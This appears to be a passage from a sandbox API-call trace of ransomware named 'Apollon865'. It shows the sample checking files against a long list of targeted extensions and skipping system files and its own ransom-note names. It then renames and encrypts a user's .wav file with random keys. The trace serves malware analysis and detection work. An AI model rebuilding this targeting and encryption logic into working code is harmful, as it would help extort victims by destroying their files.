	[0088.227] lstrlenW (lpString="db-journal") returned 10
	[0088.227] lstrcmpiW (lpString1="CBtNXn.wav", lpString2="db-journal") returned -1
	[0088.227] lstrlenW (lpString="db-shm") returned 6
	[0088.227] lstrcmpiW (lpString1="Xn.wav", lpString2="db-shm") returned 1
	[0088.227] lstrlenW (lpString="db-wal") returned 6
	[0088.227] lstrcmpiW (lpString1="Xn.wav", lpString2="db-wal") returned 1
	[0088.227] lstrlenW (lpString="dbc") returned 3
	[0088.227] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0088.227] lstrlenW (lpString="dbs") returned 3
	[0088.227] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0088.228] lstrlenW (lpString="dbt") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0088.228] lstrlenW (lpString="dbv") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0088.228] lstrlenW (lpString="dbx") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0088.228] lstrlenW (lpString="dcb") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0088.228] lstrlenW (lpString="dct") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0088.228] lstrlenW (lpString="dcx") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0088.228] lstrlenW (lpString="ddl") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0088.228] lstrlenW (lpString="dlis") returned 4
	[0088.228] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0088.228] lstrlenW (lpString="dp1") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0088.228] lstrlenW (lpString="dqy") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0088.228] lstrlenW (lpString="dsk") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0088.228] lstrlenW (lpString="dsn") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0088.228] lstrlenW (lpString="dtsx") returned 4
	[0088.228] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0088.228] lstrlenW (lpString="dxl") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0088.228] lstrlenW (lpString="eco") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0088.228] lstrlenW (lpString="ecx") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0088.228] lstrlenW (lpString="edb") returned 3
	[0088.228] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0088.228] lstrlenW (lpString="epim") returned 4
	[0088.228] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0088.229] lstrlenW (lpString="fcd") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0088.229] lstrlenW (lpString="fdb") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0088.229] lstrlenW (lpString="fic") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0088.229] lstrlenW (lpString="flexolibrary") returned 12
	[0088.229] lstrcmpiW (lpString1="6iCBtNXn.wav", lpString2="flexolibrary") returned -1
	[0088.229] lstrlenW (lpString="fm5") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0088.229] lstrlenW (lpString="fmp") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0088.229] lstrlenW (lpString="fmp12") returned 5
	[0088.229] lstrcmpiW (lpString1="n.wav", lpString2="fmp12") returned 1
	[0088.229] lstrlenW (lpString="fmpsl") returned 5
	[0088.229] lstrcmpiW (lpString1="n.wav", lpString2="fmpsl") returned 1
	[0088.229] lstrlenW (lpString="fol") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0088.229] lstrlenW (lpString="fp3") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0088.229] lstrlenW (lpString="fp4") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0088.229] lstrlenW (lpString="fp5") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0088.229] lstrlenW (lpString="fp7") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0088.229] lstrlenW (lpString="fpt") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0088.229] lstrlenW (lpString="frm") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0088.229] lstrlenW (lpString="gdb") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.229] lstrlenW (lpString="gdb") returned 3
	[0088.229] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.229] lstrlenW (lpString="grdb") returned 4
	[0088.230] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0088.230] lstrlenW (lpString="gwi") returned 3
	[0088.230] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0088.230] lstrlenW (lpString="hdb") returned 3
	[0088.230] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0088.230] lstrlenW (lpString="his") returned 3
	[0088.230] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0088.230] lstrlenW (lpString="ib") returned 2
	[0088.230] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0088.230] lstrlenW (lpString="idb") returned 3
	[0088.230] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0088.230] lstrlenW (lpString="ihx") returned 3
	[0088.230] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0088.230] lstrlenW (lpString="itdb") returned 4
	[0088.230] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0088.230] lstrlenW (lpString="itw") returned 3
	[0088.230] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0088.230] lstrlenW (lpString="jet") returned 3
	[0088.230] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0088.230] lstrlenW (lpString="jtx") returned 3
	[0088.230] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0088.230] lstrlenW (lpString="kdb") returned 3
	[0088.230] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0088.230] lstrlenW (lpString="kexi") returned 4
	[0088.230] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0088.230] lstrlenW (lpString="kexic") returned 5
	[0088.230] lstrcmpiW (lpString1="n.wav", lpString2="kexic") returned 1
	[0088.230] lstrlenW (lpString="kexis") returned 5
	[0088.230] lstrcmpiW (lpString1="n.wav", lpString2="kexis") returned 1
	[0088.230] lstrlenW (lpString="lgc") returned 3
	[0088.230] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0088.230] lstrlenW (lpString="lwx") returned 3
	[0088.230] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0088.230] lstrlenW (lpString="maf") returned 3
	[0088.230] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0088.230] lstrlenW (lpString="maq") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0088.231] lstrlenW (lpString="mar") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0088.231] lstrlenW (lpString="marshal") returned 7
	[0088.231] lstrcmpiW (lpString1="NXn.wav", lpString2="marshal") returned 1
	[0088.231] lstrlenW (lpString="mas") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0088.231] lstrlenW (lpString="mav") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0088.231] lstrlenW (lpString="maw") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0088.231] lstrlenW (lpString="mdbhtml") returned 7
	[0088.231] lstrcmpiW (lpString1="NXn.wav", lpString2="mdbhtml") returned 1
	[0088.231] lstrlenW (lpString="mdn") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0088.231] lstrlenW (lpString="mdt") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0088.231] lstrlenW (lpString="mfd") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0088.231] lstrlenW (lpString="mpd") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0088.231] lstrlenW (lpString="mrg") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0088.231] lstrlenW (lpString="mud") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0088.231] lstrlenW (lpString="mwb") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0088.231] lstrlenW (lpString="myd") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0088.231] lstrlenW (lpString="ndf") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0088.231] lstrlenW (lpString="nnt") returned 3
	[0088.231] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0088.231] lstrlenW (lpString="nrmlib") returned 6
	[0088.231] lstrcmpiW (lpString1="Xn.wav", lpString2="nrmlib") returned 1
	[0088.232] lstrlenW (lpString="ns2") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0088.232] lstrlenW (lpString="ns3") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0088.232] lstrlenW (lpString="ns4") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0088.232] lstrlenW (lpString="nsf") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0088.232] lstrlenW (lpString="nv") returned 2
	[0088.232] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0088.232] lstrlenW (lpString="nv2") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0088.232] lstrlenW (lpString="nwdb") returned 4
	[0088.232] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0088.232] lstrlenW (lpString="nyf") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0088.232] lstrlenW (lpString="odb") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.232] lstrlenW (lpString="odb") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.232] lstrlenW (lpString="oqy") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0088.232] lstrlenW (lpString="ora") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0088.232] lstrlenW (lpString="orx") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0088.232] lstrlenW (lpString="owc") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0088.232] lstrlenW (lpString="p96") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0088.232] lstrlenW (lpString="p97") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0088.232] lstrlenW (lpString="pan") returned 3
	[0088.232] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0088.232] lstrlenW (lpString="pdb") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0088.233] lstrlenW (lpString="pdm") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0088.233] lstrlenW (lpString="pnz") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0088.233] lstrlenW (lpString="qry") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0088.233] lstrlenW (lpString="qvd") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0088.233] lstrlenW (lpString="rbf") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0088.233] lstrlenW (lpString="rctd") returned 4
	[0088.233] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0088.233] lstrlenW (lpString="rod") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0088.233] lstrlenW (lpString="rodx") returned 4
	[0088.233] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0088.233] lstrlenW (lpString="rpd") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0088.233] lstrlenW (lpString="rsd") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0088.233] lstrlenW (lpString="sas7bdat") returned 8
	[0088.233] lstrcmpiW (lpString1="tNXn.wav", lpString2="sas7bdat") returned 1
	[0088.233] lstrlenW (lpString="sbf") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0088.233] lstrlenW (lpString="scx") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0088.233] lstrlenW (lpString="sdb") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0088.233] lstrlenW (lpString="sdc") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0088.233] lstrlenW (lpString="sdf") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0088.233] lstrlenW (lpString="sis") returned 3
	[0088.233] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0088.234] lstrlenW (lpString="spq") returned 3
	[0088.234] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0088.234] lstrlenW (lpString="te") returned 2
	[0088.234] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0088.234] lstrlenW (lpString="teacher") returned 7
	[0088.234] lstrcmpiW (lpString1="NXn.wav", lpString2="teacher") returned -1
	[0088.234] lstrlenW (lpString="tmd") returned 3
	[0088.234] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0088.234] lstrlenW (lpString="tps") returned 3
	[0088.234] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0088.234] lstrlenW (lpString="trc") returned 3
	[0088.234] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.234] lstrlenW (lpString="trc") returned 3
	[0088.234] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.234] lstrlenW (lpString="trm") returned 3
	[0088.234] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0088.234] lstrlenW (lpString="udb") returned 3
	[0088.234] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0088.234] lstrlenW (lpString="udl") returned 3
	[0088.234] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0088.234] lstrlenW (lpString="usr") returned 3
	[0088.234] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0088.234] lstrlenW (lpString="v12") returned 3
	[0088.234] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0088.234] lstrlenW (lpString="vis") returned 3
	[0088.234] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0088.234] lstrlenW (lpString="vpd") returned 3
	[0088.234] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0088.234] lstrlenW (lpString="vvv") returned 3
	[0088.234] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0088.235] lstrlenW (lpString="wdb") returned 3
	[0088.235] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0088.235] lstrlenW (lpString="wmdb") returned 4
	[0088.235] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0088.235] lstrlenW (lpString="wrk") returned 3
	[0088.235] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0088.235] lstrlenW (lpString="xdb") returned 3
	[0088.235] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0088.235] lstrlenW (lpString="xld") returned 3
	[0088.235] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0088.235] lstrlenW (lpString="xmlff") returned 5
	[0088.235] lstrcmpiW (lpString1="n.wav", lpString2="xmlff") returned -1
	[0088.235] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\vk2Z6iCBtNXn.wav.Apollon865") returned 81
	[0088.235] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\vk2Z6iCBtNXn.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\vk2z6icbtnxn.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\vk2Z6iCBtNXn.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\vk2z6icbtnxn.wav.apollon865"), dwFlags=0x1) returned 1
	[0088.236] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\vk2Z6iCBtNXn.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\vk2z6icbtnxn.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.236] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=25101) returned 1
	[0088.236] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.237] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.237] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0088.237] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0088.238] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.238] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.238] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6510, lpName=0x0) returned 0x15c
	[0088.238] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6510) returned 0x100000
	[0088.239] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0088.240] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.240] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.240] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.240] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.240] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.241] CloseHandle (hObject=0x15c) returned 1
	[0088.241] CloseHandle (hObject=0x9c) returned 1
	[0088.242] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.242] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0088.242] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.242] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cb0db0, ftCreationTime.dwHighDateTime=0x1d4c896, ftLastAccessTime.dwLowDateTime=0x8cfb9ce0, ftLastAccessTime.dwHighDateTime=0x1d4d1b6, ftLastWriteTime.dwLowDateTime=0x8cfb9ce0, ftLastWriteTime.dwHighDateTime=0x1d4d1b6, nFileSizeHigh=0x0, nFileSizeLow=0x16c04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vOhY6r4f.wav", cAlternateFileName="")) returned 1
	[0088.242] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.242] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2="Apollon865.txt.exe") returned 1
	[0088.242] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2=".") returned 1
	[0088.242] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2="..") returned 1
	[0088.242] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2="windows") returned -1
	[0088.242] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2="bootmgr") returned 1
	[0088.242] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2="temp") returned 1
	[0088.242] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2="pagefile.sys") returned 1
	[0088.242] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2="boot") returned 1
	[0088.242] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2="ids.txt") returned 1
	[0088.243] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2="ntuser.dat") returned 1
	[0088.243] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2="perflogs") returned 1
	[0088.243] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2="MSBuild") returned 1
	[0088.243] lstrlenW (lpString="vOhY6r4f.wav") returned 12
	[0088.243] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\vk2Z6iCBtNXn.wav") returned 70
	[0088.243] lstrcpyW (in: lpString1=0x119e674, lpString2="vOhY6r4f.wav" | out: lpString1="vOhY6r4f.wav") returned="vOhY6r4f.wav"
	[0088.243] lstrlenW (lpString="vOhY6r4f.wav") returned 12
	[0088.243] lstrlenW (lpString="Apollon865") returned 10
	[0088.243] lstrcmpiW (lpString1="hY6r4f.wav", lpString2="Apollon865") returned 1
	[0088.243] lstrlenW (lpString=".dll") returned 4
	[0088.243] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2=".dll") returned 1
	[0088.243] lstrlenW (lpString=".lnk") returned 4
	[0088.243] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2=".lnk") returned 1
	[0088.243] lstrlenW (lpString=".ini") returned 4
	[0088.243] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2=".ini") returned 1
	[0088.243] lstrlenW (lpString=".sys") returned 4
	[0088.243] lstrcmpiW (lpString1="vOhY6r4f.wav", lpString2=".sys") returned 1
	[0088.243] lstrlenW (lpString="vOhY6r4f.wav") returned 12
	[0088.243] lstrlenW (lpString="bak") returned 3
	[0088.243] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0088.243] lstrlenW (lpString="ba_") returned 3
	[0088.243] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0088.243] lstrlenW (lpString="dbb") returned 3
	[0088.243] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0088.243] lstrlenW (lpString="vmdk") returned 4
	[0088.243] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0088.243] lstrlenW (lpString="rar") returned 3
	[0088.243] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0088.243] lstrlenW (lpString="zip") returned 3
	[0088.243] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0088.243] lstrlenW (lpString="tgz") returned 3
	[0088.243] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0088.243] lstrlenW (lpString="vbox") returned 4
	[0088.243] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0088.243] lstrlenW (lpString="vdi") returned 3
	[0088.244] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0088.244] lstrlenW (lpString="vhd") returned 3
	[0088.244] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0088.244] lstrlenW (lpString="vhdx") returned 4
	[0088.244] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0088.244] lstrlenW (lpString="avhd") returned 4
	[0088.244] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0088.244] lstrlenW (lpString="db") returned 2
	[0088.244] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0088.244] lstrlenW (lpString="db2") returned 3
	[0088.244] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0088.244] lstrlenW (lpString="db3") returned 3
	[0088.244] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0088.244] lstrlenW (lpString="dbf") returned 3
	[0088.244] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0088.244] lstrlenW (lpString="mdf") returned 3
	[0088.244] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0088.244] lstrlenW (lpString="mdb") returned 3
	[0088.244] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0088.244] lstrlenW (lpString="sql") returned 3
	[0088.244] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0088.244] lstrlenW (lpString="sqlite") returned 6
	[0088.244] lstrcmpiW (lpString1="4f.wav", lpString2="sqlite") returned -1
	[0088.244] lstrlenW (lpString="sqlite3") returned 7
	[0088.244] lstrcmpiW (lpString1="r4f.wav", lpString2="sqlite3") returned -1
	[0088.244] lstrlenW (lpString="sqlitedb") returned 8
	[0088.244] lstrcmpiW (lpString1="6r4f.wav", lpString2="sqlitedb") returned -1
	[0088.244] lstrlenW (lpString="xml") returned 3
	[0088.244] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0088.244] lstrlenW (lpString="$er") returned 3
	[0088.244] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0088.244] lstrlenW (lpString="4dd") returned 3
	[0088.244] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0088.244] lstrlenW (lpString="4dl") returned 3
	[0088.244] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0088.245] lstrlenW (lpString="^^^") returned 3
	[0088.245] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0088.245] lstrlenW (lpString="abs") returned 3
	[0088.245] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0088.245] lstrlenW (lpString="abx") returned 3
	[0088.245] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0088.245] lstrlenW (lpString="accdb") returned 5
	[0088.245] lstrcmpiW (lpString1="f.wav", lpString2="accdb") returned 1
	[0088.245] lstrlenW (lpString="accdc") returned 5
	[0088.245] lstrcmpiW (lpString1="f.wav", lpString2="accdc") returned 1
	[0088.245] lstrlenW (lpString="accde") returned 5
	[0088.245] lstrcmpiW (lpString1="f.wav", lpString2="accde") returned 1
	[0088.245] lstrlenW (lpString="accdr") returned 5
	[0088.245] lstrcmpiW (lpString1="f.wav", lpString2="accdr") returned 1
	[0088.245] lstrlenW (lpString="accdt") returned 5
	[0088.245] lstrcmpiW (lpString1="f.wav", lpString2="accdt") returned 1
	[0088.245] lstrlenW (lpString="accdw") returned 5
	[0088.245] lstrcmpiW (lpString1="f.wav", lpString2="accdw") returned 1
